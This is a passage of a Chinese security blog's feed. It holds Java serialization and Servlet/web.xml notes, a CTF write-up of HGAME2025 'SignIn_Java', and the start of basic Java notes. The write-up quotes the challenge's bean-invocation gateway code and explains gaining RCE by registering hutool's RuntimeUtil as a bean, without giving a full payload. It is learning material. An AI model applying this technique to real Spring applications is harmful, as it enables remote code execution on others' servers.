116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 116, 0, 2, 121, 122]用户名:yz,邮箱:admin@javaweb.org</code></pre><p>&emsp;&emsp;核心逻辑其实就是使用<code>ObjectOutputStream</code>类的<code>writeObject</code>方法序列化<code>DeserializationTest</code>类，使用<code>ObjectInputStream</code>类的<code>readObject</code>方法反序列化<code>DeserializationTest</code>类而已。</p><blockquote><p>上面这么一大段代码可以简化成如下：</p><pre><code class="java">// 序列化DeserializationTest类ObjectOutputStream out = new ObjectOutputStream(baos);out.writeObject(t);// 反序列化输入流数据为DeserializationTest对象ObjectInputStream in = new ObjectInputStream(bais);DeserializationTest test = (DeserializationTest) in.readObject();</code></pre></blockquote><p>&emsp;&emsp;<code>ObjectOutputStream</code>序列化类对象的主要流程是首先判断序列化的类是否重写了<code>writeObject</code>方法，如果重写了就调用序列化对象自身的<code>writeObject</code>方法序列化，序列化时会先写入类名信息，其次是写入成员变量信息(通过反射获取所有不包含被<code>transient</code>修饰的变量和值)。</p><h4 id="javaioexternalizable"><a href="#java-io-Externalizable" class="headerlink" title="java.io.Externalizable"></a>java.io.Externalizable</h4><p>&emsp;&emsp;<code>java.io.Externalizable</code>和<code>java.io.Serializable</code>几乎一样，只是<code>java.io.Externalizable</code>接口定义了<code>writeExternal</code>和<code>readExternal</code>方法需要序列化和反序列化的类实现，其余的和<code>java.io.Serializable</code>并无差别。</p><p><strong>java.io.Externalizable.java:</strong></p><pre><code class="java">public interface Externalizable extends java.io.Serializable &#123;  void writeExternal(ObjectOutput out) throws IOException;  void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;&#125;</code></pre><p><strong><code>ExternalizableTest.java</code>测试代码如下：</strong></p><pre><code class="java">package com.anbai.sec.serializes;import java.io.*;import java.util.Arrays;public class ExternalizableTest implements java.io.Externalizable &#123;    private String username;    private String email;    // 省去get/set方法....    @Override    public void writeExternal(ObjectOutput out) throws IOException &#123;        out.writeObject(username);        out.writeObject(email);    &#125;    @Override    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException &#123;        this.username = (String) in.readObject();        this.email = (String) in.readObject();    &#125;    public static void main(String[] args) &#123;        // 省去测试代码，因为和DeserializationTest一样...    &#125;&#125;</code></pre><p>程序执行结果如下：</p><pre><code class="java">ExternalizableTest类序列化后的字节数组:[-84, -19, 0, 5, 115, 114, 0, 43, 99, 111, 109, 46, 97, 110, 98, 97, 105, 46, 115, 101, 99, 46, 115, 101, 114, 105, 97, 108, 105, 122, 101, 115, 46, 69, 120, 116, 101, 114, 110, 97, 108, 105, 122, 97, 98, 108, 101, 84, 101, 115, 116, -122, 124, 92, -120, -52, 73, -100, 6, 12, 0, 0, 120, 112, 116, 0, 2, 121, 122, 116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 120]ExternalizableTest类反序列化后的字符串:��sr+com.anbai.sec.serializes.ExternalizableTest�|\��I�xptyztadmin@javaweb.orgx用户名:yz,邮箱:admin@javaweb.org</code></pre><p>鉴于两者之间没有多大差别，这里就不再赘述。</p><h2 id="java-web"><a href="#Java-Web" class="headerlink" title="Java Web"></a>Java Web</h2><h3 id="java-ee"><a href="#Java-EE" class="headerlink" title="Java EE"></a>Java EE</h3><p>&emsp;&emsp;<code>Java EE</code>指的是Java平台企业版（<code>Java Platform Enterprise Edition</code>），之前称为<code>Java 2 Platform, Enterprise Edition</code>(<code>J2EE</code>)，2017 年的 9 月Oracle将<code>Java EE</code> 捐赠给 Eclipse 基金会，由于Oracle持有Java商标原因，Eclipse基金于2018年3月将<code>Java EE</code>更名为<a href="https://jakarta.ee/">Jakarta EE</a>。</p><h3 id="servlet"><a href="#Servlet" class="headerlink" title="Servlet"></a>Servlet</h3><p>&emsp;&emsp;<code>Servlet</code>是在 <code>Java Web</code>容器中运行的<code>小程序</code>,通常我们用<code>Servlet</code>来处理一些较为复杂的<strong>服务器端的业务逻辑</strong>。<code>Servlet</code>是<code>Java EE</code>的核心,也是所有的MVC框架的实现的根本。</p><h4 id="servlet的定义"><a href="#Servlet的定义" class="headerlink" title="Servlet的定义"></a>Servlet的定义</h4><p>&emsp;&emsp;定义一个 Servlet 很简单，只需要继承<code>javax.servlet.http.HttpServlet</code>类并重写<code>doXXX</code>(如<code>doGet、doPost</code>)方法或者<code>service</code>方法就可以了，其中需要注意的是重写<code>HttpServlet</code>类的<code>service</code>方法可以获取到上述七种Http请求方法的请求。</p><p><strong>javax.servlet.http.HttpServlet：</strong></p><p>&emsp;&emsp;在写<code>Servlet</code>之前我们先了解下<code>HttpServlet</code>,<code>javax.servlet.http.HttpServlet</code>类继承于<code>javax.servlet.GenericServlet</code>，而<code>GenericServlet</code>又实现了<code>javax.servlet.Servlet</code>和<code>javax.servlet.ServletConfig</code>。<code>javax.servlet.Servlet</code>接口中只定义了<code>servlet</code>基础生命周期方法：<code>init(初始化)</code>、<code>getServletConfig(配置)</code>、<code>service(服务)</code>、<code>destroy(销毁)</code>,而<code>HttpServlet</code>不仅实现了<code>servlet</code>的生命周期并通过封装<code>service</code>方法抽象出了<code>doGet/doPost/doDelete/doHead/doPut/doOptions/doTrace</code>方法用于处理来自客户端的不一样的请求方式，我们的Servlet只需要重写其中的请求方法或者重写<code>service</code>方法即可实现<code>servlet</code>请求处理。</p><p><strong>TestServlet示例代码:</strong></p><pre><code class="java">package com.anbai.sec.servlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;// 如果使用注解方式请取消@WebServlet注释并注释掉web.xml中TestServlet相关配置//@WebServlet(name = &quot;TestServlet&quot;, urlPatterns = &#123;&quot;/TestServlet&quot;&#125;)public class TestServlet extends HttpServlet &#123;    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException &#123;        doPost(request, response);    &#125;    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException &#123;        PrintWriter out = response.getWriter();        out.println(&quot;Hello World~&quot;);        out.flush();        out.close();    &#125;&#125;</code></pre><h4 id="servlet-webxml配置"><a href="#Servlet-Web-xml配置" class="headerlink" title="Servlet Web.xml配置"></a>Servlet Web.xml配置</h4><blockquote><p>注意！现在很少还会用xml编写配置，大多都已经使用了注解的方式。不过注解和xml还是有互通，所以还是学一学。</p></blockquote><p>&emsp;&emsp;<code>Servlet3.0</code> 之前的版本都需要在<code>web.xml</code> 中配置<code>servlet标签</code>，<code>servlet标签</code>是由<code>servlet</code>和<code>servlet-mapping</code>标签组成的,两者之间通过在<code>servlet</code>和<code>servlet-mapping</code>标签中同样的<code>servlet-name</code>名称来实现关联的。</p><blockquote><p>以下来自 <a href="https://blog.csdn.net/Flying_Fish_roe/article/details/144028870">web.xml 的配置</a>。部分解释来自于deepseek。</p></blockquote><p>下面是一个典型的 <code>web.xml</code> 文件的基本结构：</p><pre><code class="xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;web-app xmlns=&quot;http://java.sun.com/xml/ns/javaee&quot;         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;         xsi:schemaLocation=&quot;http://java.sun.com/xml/ns/javaee          http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd&quot;         version=&quot;3.0&quot;&gt;             &lt;!-- 描述性信息 --&gt;    &lt;display-name&gt;My Web Application&lt;/display-name&gt;    &lt;description&gt;My first web application&lt;/description&gt;    &lt;!-- Servlet 配置 --&gt;    &lt;servlet&gt;        &lt;servlet-name&gt;MyServlet&lt;/servlet-name&gt;        &lt;servlet-class&gt;com.example.MyServlet&lt;/servlet-class&gt;    &lt;/servlet&gt;    &lt;!-- Servlet 映射 --&gt;    &lt;servlet-mapping&gt;        &lt;servlet-name&gt;MyServlet&lt;/servlet-name&gt;        &lt;url-pattern&gt;/myservlet&lt;/url-pattern&gt;    &lt;/servlet-mapping&gt;    &lt;!-- 过滤器配置 --&gt;    &lt;filter&gt;        &lt;filter-name&gt;MyFilter&lt;/filter-name&gt;        &lt;filter-class&gt;com.example.MyFilter&lt;/filter-class&gt;    &lt;/filter&gt;    &lt;!-- 过滤器映射 --&gt;    &lt;filter-mapping&gt;        &lt;filter-name&gt;MyFilter&lt;/filter-name&gt;        &lt;url-pattern&gt;/*&lt;/url-pattern&gt;    &lt;/filter-mapping&gt;    &lt;!-- 监听器配置 --&gt;    &lt;listener&gt;        &lt;listener-class&gt;com.example.MyListener&lt;/listener-class&gt;    &lt;/listener&gt;    &lt;!-- 欢迎文件列表 --&gt;    &lt;welcome-file-list&gt;        &lt;welcome-file&gt;index.html&lt;/welcome-file&gt;        &lt;welcome-file&gt;index.jsp&lt;/welcome-file&gt;    &lt;/welcome-file-list&gt;    &lt;!-- 错误页面配置 --&gt;    &lt;error-page&gt;        &lt;error-code&gt;404&lt;/error-code&gt;        &lt;location&gt;/error/404.jsp&lt;/location&gt;    &lt;/error-page&gt;    &lt;!-- 上下文参数 --&gt;    &lt;context-param&gt;        &lt;param-name&gt;contextConfigLocation&lt;/param-name&gt;        &lt;param-value&gt;/WEB-INF/spring-context.xml&lt;/param-value&gt;    &lt;/context-param&gt;    &lt;!-- Session 配置 --&gt;    &lt;session-config&gt;        &lt;session-timeout&gt;30&lt;/session-timeout&gt; &lt;!-- 分钟 --&gt;    &lt;/session-config&gt;    &lt;!-- 安全约束 --&gt;    &lt;security-constraint&gt;        &lt;web-resource-collection&gt;            &lt;web-resource-name&gt;Protected Area&lt;/web-resource-name&gt;            &lt;url-pattern&gt;/protected/*&lt;/url-pattern&gt;        &lt;/web-resource-collection&gt;        &lt;auth-constraint&gt;            &lt;role-name&gt;admin&lt;/role-name&gt;        &lt;/auth-constraint&gt;    &lt;/security-constraint&gt;&lt;/web-app&gt;</code></pre><p><strong>&lt;web-app&gt;</strong></p><p>&emsp;&emsp;这是整个配置文件的根标签，web.xml的模式文件是由Sun公司定义的，它必须标明web.xml使用的是哪个模式文件。并且声明这是一个 Servlet 3.0 规范的部署描述符(<code>version=&quot;3.0&quot;</code>)。</p><p><strong>&lt;display-name&gt;</strong></p><p>&emsp;&emsp;它标注了该web项目的名字，提供GUI工具可能会用来标记这个特定的Web应用的一个名称。</p><p><strong>&lt;description&gt;</strong></p><p>&emsp;&emsp;应用的详细描述。</p><p><strong>&lt;welcome-list-file&gt;</strong></p><p>&emsp;&emsp;定义了首页文件，也就是用户直接输入域名时跳转的页面。</p><p><strong>&lt;servlet&gt;</strong><br>    用来声明一个servlet的数据，主要有以下子元素：</p><ul><li><p><strong>&lt;servlet-name&gt;</strong>:指定servlet的名称</p></li><li><p><strong>&lt;servlet-class&gt;</strong>:指定servlet的类名称</p></li><li><p><strong>&lt;jsp-file&gt;</strong>:指定web站台中的某个JSP网页的完整路径</p></li><li><p><strong>&lt;init-param&gt;</strong>:用来定义初始化参数，可有多个init-param。</p><p>  在servlet类中通过ServletConfig对象传入init函数，通过<code>getInitParamenter(String name)</code>方法访问初始化参数。<br>  例如使用&lt;init-param&gt;来初始化数据库连接参数:</p><pre><code class="java">public void init(ServletConfig config) throws SevletException&#123;    super(config);    String driver = config.getInitParameter(&quot;driver&quot;);    String url = config.getInitParameter(&quot;url&quot;);    String username = config.getInitParameter(&quot;username&quot;);    String passwd = config.getInitParameter(&quot;passwd&quot;);    try&#123;        Class.forName(driver).newInstance();        this.conn = DriverManager.getConnection(url, username, passwd);        System.out.println(&quot;Connection successful...&quot;);    &#125; catch(SQLExceprion se)&#123;        System.out.println(&quot;se&quot;);    &#125; catch(Exception e)&#123;        e.printStackTrace():    &#125;    &#125;</code></pre><p>  此时servlet配置为:</p><pre><code class="xml">&lt;servlet&gt;    &lt;servlet-name&gt;myServlet&lt;/servlet-name&gt;    &lt;servlet-class&gt;*.myservlet&lt;/servlet-class&gt;    &lt;init-param&gt;        &lt;param-name&gt;driver&lt;/param-name&gt;        &lt;param-value&gt;com.mysql.jdbc.Driver&lt;/param-value&gt;    &lt;/init-param&gt;    &lt;init-param&gt;        &lt;param-name&gt;url&lt;/param-name&gt;        &lt;param-value&gt;jdbc:mysql://localhost:3306/myDatabase&lt;/param-value&gt;    &lt;/init-param&gt;    &lt;init-param&gt;        &lt;param-name&gt;username&lt;/param-name&gt;        &lt;param-value&gt;tang&lt;/param-value&gt;    &lt;/init-param&gt;    &lt;init-param&gt;        &lt;param-name&gt;passwd&lt;/param-name&gt;        &lt;param-value&gt;whu&lt;/param-value&gt;    &lt;/init-param&gt;&lt;/servlet&gt;</code></pre></li><li><p><strong>&lt;load-on-startup&gt;</strong>:指定当Web应用启动时，装载Servlet的次序。</p><p>  当值为正数或零时：Servlet容器先加载数值小的servlet，再依次加载其他数值大的servlet。</p><p>  当值为负或未定义：Servlet容器将在Web客户首次访问这个servlet时加载它。</p></li><li><p><strong>&lt;servlet-mapping&gt;</strong>:用来定义servlet所对应的URL，包含两个子元素。</p><ul><li><strong>&lt;servlet-name&gt;</strong>:指定servlet的名称</li><li><strong>&lt;url-pattern&gt;</strong>:指定servlet所对应的URL</li></ul></li><li><p><strong>&lt;filter&gt;</strong>:配置过滤器，包含两个子元素。</p><ul><li><strong>&lt;filter-name&gt;</strong>:指定过滤器名称。</li><li>**&lt;filter-class&gt;**：指定实现过滤器的类。</li></ul></li><li><p><strong>&lt;filter-mapping&gt;</strong>:映射过滤器，包含两个子元素。</p><ul><li><strong>&lt;filter-name&gt;</strong>:指定应用的过滤器。</li><li><strong>&lt;url-pattern&gt;</strong>:拦截的url模式。</li></ul></li></ul><blockquote><p>filter应用例：</p><pre><code class="xml">&lt;!-- 1. 定义过滤器 --&gt;&lt;filter&gt;    &lt;filter-name&gt;MyFilter&lt;/filter-name&gt;    &lt;filter-class&gt;com.example.MyFilter&lt;/filter-class&gt;    &lt;!-- 可选：初始化参数 --&gt;    &lt;init-param&gt;        &lt;param-name&gt;encoding&lt;/param-name&gt;        &lt;param-value&gt;UTF-8&lt;/param-value&gt;    &lt;/init-param&gt;&lt;/filter&gt;&lt;!-- 2. 映射过滤器 --&gt;&lt;filter-mapping&gt;    &lt;filter-name&gt;MyFilter&lt;/filter-name&gt;    &lt;!-- 拦截的URL模式 --&gt;    &lt;url-pattern&gt;/*&lt;/url-pattern&gt;    &lt;!-- 可选：指定拦截的请求类型（默认REQUEST） --&gt;    &lt;dispatcher&gt;REQUEST&lt;/dispatcher&gt;    &lt;dispatcher&gt;FORWARD&lt;/dispatcher&gt;&lt;/filter-mapping&gt;</code></pre><pre><code class="java">public class MyFilter implements Filter &#123;    private String encoding;        @Override    public void init(FilterConfig config) throws ServletException &#123;        // 读取初始化参数(&lt;init-param&gt;)        this.encoding = config.getInitParameter(&quot;encoding&quot;);        System.out.println(&quot;Filter初始化，编码设置为：&quot; + encoding);    &#125;    @Override    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)            throws IOException, ServletException &#123;        // 1. 预处理请求        request.setCharacterEncoding(encoding);        response.setCharacterEncoding(encoding);        // 2. 执行后续操作（如调用下一个过滤器或Servlet）        chain.doFilter(request, response);        // 3. 后处理响应        System.out.println(&quot;请求处理完成，响应已返回&quot;);    &#125;    @Override    public void destroy() &#123;        // 清理资源        System.out.println(&quot;Filter销毁&quot;);    &#125;&#125;</code></pre></blockquote><ul><li><p><strong>&lt;error-page&gt;</strong>:配置错误页面，有如下常用子元素</p><ul><li><strong>&lt;error-code&gt;</strong>:设定发生何错误时触发(根据错误码)</li><li><strong>&lt;location&gt;</strong>:设定重定向到何页面</li></ul></li><li><p>**&lt;listener&gt;**：设定侦听器</p><ul><li><strong>&lt;listener-class&gt;</strong>:指定实现了侦听器的类。</li></ul></li><li><p><strong>&lt;context-param&gt;</strong>:定义所谓上下文配置，可以理解为全局参数。用法和&lt;init-param&gt;基本已知，但&lt;init-param&gt;定义的参数只能使用在servlet类的init()方法中调用。</p></li><li><p><strong>&lt;session-config&gt;</strong>:用于设定session相关配置。</p></li><li><p><strong>&lt;security-constraint&gt;</strong>:用于设定安全相关的配置。</p></li></ul><h4 id="servlet-30-基于注解方式配置"><a href="#Servlet-3-0-基于注解方式配置" class="headerlink" title="Servlet 3.0+ 基于注解方式配置"></a>Servlet 3.0+ 基于注解方式配置</h4><p>&emsp;&emsp;在 Servlet 3.0 之后( Tomcat7+)可以使用注解方式配置 Servlet 了,在任意的Java类添加<code>javax.servlet.annotation.WebServlet</code>注解即可。</p><p>&emsp;&emsp;基于注解的方式配置Servlet实质上是对基于<code>web.xml</code>方式配置的简化，极大的简化了Servlet的配置方式，但是也提升了对Servlet配置管理的难度，因为我们不得不去查找所有包含了<code>@WebServlet</code>注解的类来寻找Servlet的定义，而不再只是查看<code>web.xml</code>中的<code>servlet</code>标签配置。</p><blockquote><p>现在大多是通过注解来配置，xml形式太过冗杂。</p></blockquote><p>​</p>]]></content>
    
    
    <summary type="html">Java安全的学习笔记喵~</summary>
    
    
    
    <category term="笔记" scheme="https://101.43.94.206/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Java" scheme="https://101.43.94.206/tags/Java/"/>
    
    <category term="CyberSecurity" scheme="https://101.43.94.206/tags/CyberSecurity/"/>
    
  </entry>
  
  <entry>
    <title>从SignIn_Java 学jar调试</title>
    <link href="https://101.43.94.206/2025/03/10/Level60%E5%A4%8D%E7%8E%B0/"/>
    <id>https://101.43.94.206/2025/03/10/Level60%E5%A4%8D%E7%8E%B0/</id>
    <published>2025-03-10T05:46:00.000Z</published>
    <updated>2025-03-20T06:57:54.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="碎碎念"><a href="#碎碎念" class="headerlink" title="碎碎念"></a>碎碎念</h3><p>&emsp;&emsp;当时做这题本身每抱太大希望，但稍微看了一下代码，确实能看出来就是任意Bean的方法调用，或者可能是fastjson的洞(这里只用到一点特性)。但是问题很多，那就是手头只有jar包，怎么知道有哪些已有的bean呢?为什么传入规定格式的请求，会报&#96;&#96;呢?事后问了学长才知道是得调试的然而我完全不会调试，搜也搜不到一个靠谱的，最后还是学长指导才整会，这里先感谢Liki4学长和柏师傅的耐心指导喵。</p><h3 id="题面"><a href="#题面" class="headerlink" title="题面"></a>题面</h3><p>&emsp;&emsp;题目给了jar包，结构长这样：<br><img src="/2025/03/10/Level60%E5%A4%8D%E7%8E%B0/1.png"><br>&emsp;&emsp;下面贴几段比较关键的源码:</p><pre><code class="java">// SpringContextHolder.javapackage icu.Liki4.signin.util;import java.util.Map;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.BeansException;import org.springframework.beans.factory.DisposableBean;import org.springframework.beans.factory.NoSuchBeanDefinitionException;import org.springframework.context.ApplicationContext;import org.springframework.context.ApplicationContextAware;import org.springframework.stereotype.Component;@Componentpublic class SpringContextHolder implements ApplicationContextAware, DisposableBean &#123;    private static final Logger logger = LoggerFactory.getLogger((Class&lt;?&gt;) SpringContextHolder.class);    private static ApplicationContext applicationContext = null;    @Override // org.springframework.beans.factory.DisposableBean    public void destroy() throws Exception &#123;        clear();    &#125;    @Override // org.springframework.context.ApplicationContextAware    public void setApplicationContext(ApplicationContext applicationContext2) throws BeansException &#123;        applicationContext = applicationContext2;    &#125;    public static ApplicationContext getApplicationContext() &#123;        assertContextInjected();        return applicationContext;    &#125;    public static ApplicationContext getApplicationContextNoEx() &#123;        return applicationContext;    &#125;    public static &lt;T&gt; T getExistBean(String str) &#123;        try &#123;            return (T) getBean(str);        &#125; catch (NoSuchBeanDefinitionException e) &#123;            logger.error(e.getMessage());            return null;        &#125;    &#125;    public static &lt;T&gt; T getBean(String str) &#123;        assertContextInjected();        return (T) applicationContext.getBean(str);    &#125;    public static &lt;T&gt; T getBean(Class&lt;T&gt; cls) &#123;        assertContextInjected();        return (T) applicationContext.getBean(cls);    &#125;    public static &lt;T&gt; T getBean(String str, Class&lt;T&gt; cls) &#123;        assertContextInjected();        return (T) applicationContext.getBean(str, cls);    &#125;    public static &lt;T&gt; Map&lt;String, T&gt; getBeansOfType(Class&lt;T&gt; type) &#123;        return applicationContext.getBeansOfType(type);    &#125;    public static void clear() &#123;        applicationContext = null;    &#125;    private static void assertContextInjected() &#123;        if (applicationContext == null) &#123;            throw new IllegalStateException(&quot;&gt;&gt; in SpringContextHolder&#39;s ApplicationContext is null&quot;);        &#125;    &#125;&#125;</code></pre><pre><code class="java">// InvokeUtils.javapackage icu.Liki4.signin.util;import com.alibaba.fastjson2.JSON;import com.alibaba.fastjson2.JSONException;import com.alibaba.fastjson2.JSONReader;import com.alibaba.fastjson2.filter.Filter;import java.lang.reflect.Method;import java.util.Arrays;import java.util.Date;import java.util.List;import java.util.Map;import java.util.Objects;import java.util.Set;import java.util.stream.Collectors;import org.springframework.context.annotation.Lazy;public class InvokeUtils &#123;    @Lazy    private static final Filter autoTypeFilter = JSONReader.autoTypeFilter((String[]) ((Set) Arrays.stream(SpringContextHolder.getApplicationContext().getBeanDefinitionNames()).map(name -&gt; &#123;        int secondDotIndex = name.indexOf(46, name.indexOf(46) + 1);        if (secondDotIndex != -1) &#123;            return name.substring(0, secondDotIndex + 1);        &#125;        return null;    &#125;).filter((v0) -&gt; &#123;        return Objects.nonNull(v0);    &#125;).collect(Collectors.toSet())).toArray(new String[0]));    public static Object invokeBeanMethod(String beanName, String methodName, Map&lt;String, Object&gt; params) throws Exception &#123;        Object beanObject = SpringContextHolder.getBean(beanName);        Method beanMethod = (Method) Arrays.stream(beanObject.getClass().getMethods()).filter(method -&gt; &#123;            return method.getName().equals(methodName);        &#125;).findFirst().orElse(null);        if (beanMethod.getParameterCount() == 0) &#123;            return beanMethod.invoke(beanObject, new Object[0]);        &#125;        String[] parameterTypes = new String[beanMethod.getParameterCount()];        Object[] parameterArgs = new Object[beanMethod.getParameterCount()];        for (int i = 0; i &lt; beanMethod.getParameters().length; i++) &#123;            Class&lt;?&gt; parameterType = beanMethod.getParameterTypes()[i];            String parameterName = beanMethod.getParameters()[i].getName();            parameterTypes[i] = parameterType.getName();            if (!parameterType.isPrimitive() &amp;&amp; !Date.class.equals(parameterType) &amp;&amp; !Long.class.equals(parameterType) &amp;&amp; !Integer.class.equals(parameterType) &amp;&amp; !Boolean.class.equals(parameterType) &amp;&amp; !Double.class.equals(parameterType) &amp;&amp; !Float.class.equals(parameterType) &amp;&amp; !Short.class.equals(parameterType) &amp;&amp; !Byte.class.equals(parameterType) &amp;&amp; !Character.class.equals(parameterType) &amp;&amp; !String.class.equals(parameterType) &amp;&amp; !List.class.equals(parameterType) &amp;&amp; !Set.class.equals(parameterType) &amp;&amp; !Map.class.equals(parameterType)) &#123;                if (params.containsKey(parameterName)) &#123;                    parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params.get(parameterName)), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);                &#125; else &#123;                    try &#123;                        parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);                    &#125; catch (JSONException e) &#123;                        for (Map.Entry&lt;String, Object&gt; entry : params.entrySet()) &#123;                            Object value = entry.getValue();                            if ((value instanceof String) &amp;&amp; ((String) value).contains(&quot;\&quot;&quot;)) &#123;                                params.put(entry.getKey(), JSON.parse((String) value));                            &#125;                        &#125;                        parameterArgs[i] = JSON.parseObject(JSON.toJSONString(params), (Class) parameterType, autoTypeFilter, new JSONReader.Feature[0]);                    &#125;                &#125;            &#125; else &#123;                parameterArgs[i] = params.getOrDefault(parameterName, null);            &#125;        &#125;        return beanMethod.invoke(beanObject, parameterArgs);    &#125;&#125;</code></pre><pre><code class="java">// APIGatewayController.javapackage icu.Liki4.signin.controller;import ch.qos.logback.classic.encoder.JsonEncoder;import cn.hutool.core.util.StrUtil;import com.alibaba.fastjson2.JSON;import icu.Liki4.signin.base.BaseResponse;import icu.Liki4.signin.util.InvokeUtils;import jakarta.servlet.http.HttpServletRequest;import java.util.Map;import java.util.Objects;import org.apache.commons.io.IOUtils;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.bind.annotation.ResponseBody;@RequestMapping(&#123;&quot;/api&quot;&#125;)@Controller/* loaded from: SigninJava.jar:BOOT-INF/classes/icu/Liki4/signin/controller/APIGatewayController.class */public class APIGatewayController &#123;    @RequestMapping(value = &#123;&quot;/gateway&quot;&#125;, method = &#123;RequestMethod.POST&#125;)    @ResponseBody    public BaseResponse doPost(HttpServletRequest request) throws Exception &#123;        try &#123;            String body = IOUtils.toString(request.getReader());            Map&lt;String, Object&gt; map = (Map) JSON.parseObject(body, Map.class);            String beanName = (String) map.get(&quot;beanName&quot;);            String methodName = (String) map.get(JsonEncoder.METHOD_NAME_ATTR_NAME);            Map&lt;String, Object&gt; params = (Map) map.get(&quot;params&quot;);            if (StrUtil.containsAnyIgnoreCase(beanName, &quot;flag&quot;)) &#123;                return new BaseResponse(403, &quot;flagTestService offline&quot;, null);            &#125;            Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);            return new BaseResponse(200, null, result);        &#125; catch (Exception e) &#123;            return new BaseResponse(500, ((Throwable) Objects.requireNonNullElse(e.getCause(), e)).getMessage(), null);        &#125;    &#125;&#125;</code></pre><p>&emsp;&emsp;在网上一查就能知道，得到bean的一个方案是调用ApplicationContext类实例的getBean()方法，那我们没法改源码，但可以通过调试直接获得ApplicationContext类对象的各种属性，也就很顺理成章地拿到已有的bean了。接下来的问题是怎么调试。<br>&emsp;&emsp;在协会时Liki4学长当场开课讲了用远程JVM调试，即在本地启动jar服务，用idea连上它，就可以在idea上调试(这个教程网上很多，不过多赘述了)。但是在真正尝试的时候才发现，这样调试只能断方法断点或者异常断点，这完全达不到我们的需求。问了学长才知道，反编译之后的源码的每一行必须和实际执行的每一行对应，才能正常调试jar。这里的问题是出在了jar包的依赖没有展开，导致出现行断点无法使用。<br>&emsp;&emsp;正确的调试方法步骤如下：</p><ol><li>首先将jar包中的lib目录提取出来，放到一个项目目录中。将其设置为库(add as library) <img src="/2025/03/10/Level60%E5%A4%8D%E7%8E%B0/2.png"></li><li>再将jar包中的源码部分(这里是icu.Liki4.signin)反编译，放入项目目录。这里要将其识别为源代码根目录。 <img src="/2025/03/10/Level60%E5%A4%8D%E7%8E%B0/3.png"></li><li>将jar包本身放入当前目录，可以直接右键它进行调试了。</li></ol><p>&emsp;&emsp;终于可以正常地调试了！真是坎坷。<br>&emsp;&emsp;接着我们就要拿ApplicationContext，将断点断在SpringContextHolder.java中的第49行，我们就能拿到ApplicationContext类对象了，其中存在beanFactory，也就是bean存储的地方了，发现其中的beanDefinitionNames，就能得到所有已注册bean的名字了。<br>&emsp;&emsp;这里注意到(通过wp注意到QwQ)cn.hutool.extra.spring.SpringUtil这个bean，它存在一个registerBean方法:<br><img src="/2025/03/10/Level60%E5%A4%8D%E7%8E%B0/4.png"><br>&emsp;&emsp;也就是说，我们只要传入一个自定义的beanName，以及它的类型就可以动态注册一个恶意bean(比如注册cn.hutool.core.util.RuntimeUtil)来实现rce。</p><p>&emsp;&emsp;那么在我们传这个json的时候问题又出现了,传入看起来完全没问题的json，却会一直报错<code>Bean name must not be null</code>，这里其实并非BeanName出了问题，而是params的格式问题(有点小脑洞的)，我们在InvokeUtils.java的第43行下断点，就能发现parameterName被设定为了arg0，arg1的形式:<br><img src="/2025/03/10/Level60%E5%A4%8D%E7%8E%B0/5.png"><br>&emsp;&emsp;这是<code>String parameterName = beanMethod.getParameters()[i].getName();</code>所导致的，也就是我们希望执行的方法规定传入的参数名字就是arg0这样的形式。<br>&emsp;&emsp;到这里，总算是大功告成，能够成功的注册bean并且执行了。</p><h3 id="稍微总结一下"><a href="#稍微总结一下" class="headerlink" title="稍微总结一下"></a>稍微总结一下</h3><p>&emsp;&emsp;调试真是十分好的技巧捏。之后存在源码的话(尤其是Java这种经常可以动态修改的)，可以考虑调试来得到一些信息或者做到某些事情。</p>]]></content>
    
    
    <summary type="html">HGAME2025 Week2的Level60 SignInJava复现喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Java" scheme="https://101.43.94.206/tags/Java/"/>
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="CTF" scheme="https://101.43.94.206/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>Java笔记</title>
    <link href="https://101.43.94.206/2025/02/27/Java%E7%AC%94%E8%AE%B0/"/>
    <id>https://101.43.94.206/2025/02/27/Java%E7%AC%94%E8%AE%B0/</id>
    <published>2025-02-27T14:36:42.000Z</published>
    <updated>2025-03-20T06:57:44.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>抄录自<a href="https://liaoxuefeng.com/books/java/introduction/index.html">廖雪峰的java教程</a></strong></p></blockquote><h2 id="入门"><a href="#入门" class="headerlink" title="入门"></a>入门</h2><h3 id="java程序基础"><a href="#Java程序基础" class="headerlink" title="Java程序基础"></a>Java程序基础</h3><h4 id="基本结构"><a href="#基本结构" class="headerlink" title="基本结构"></a>基本结构</h4><h5 id="类和方法"><a href="#类和方法" class="headerlink" title="类和方法"></a>类和方法</h5><pre><code class="java">public class Hello &#123;    public static void main(String[] args) &#123;        // 向屏幕输出文本:        System.out.println(&quot;Hello, world!&quot;);        /* 多行注释开始        注释内容        注释结束 */    &#125;&#125;</code></pre><p>&emsp;&emsp;因为Java是面向对象的语言，一个程序的基本单位就是<code>class</code>，<code>class</code>是关键字，这里定义的<code>class</code>名字就是<code>Hello</code></p><blockquote><p>类名要求：</p><ul><li>必须以英文字母开头，后接字母，数字和下划线的组合</li><li>习惯以<font 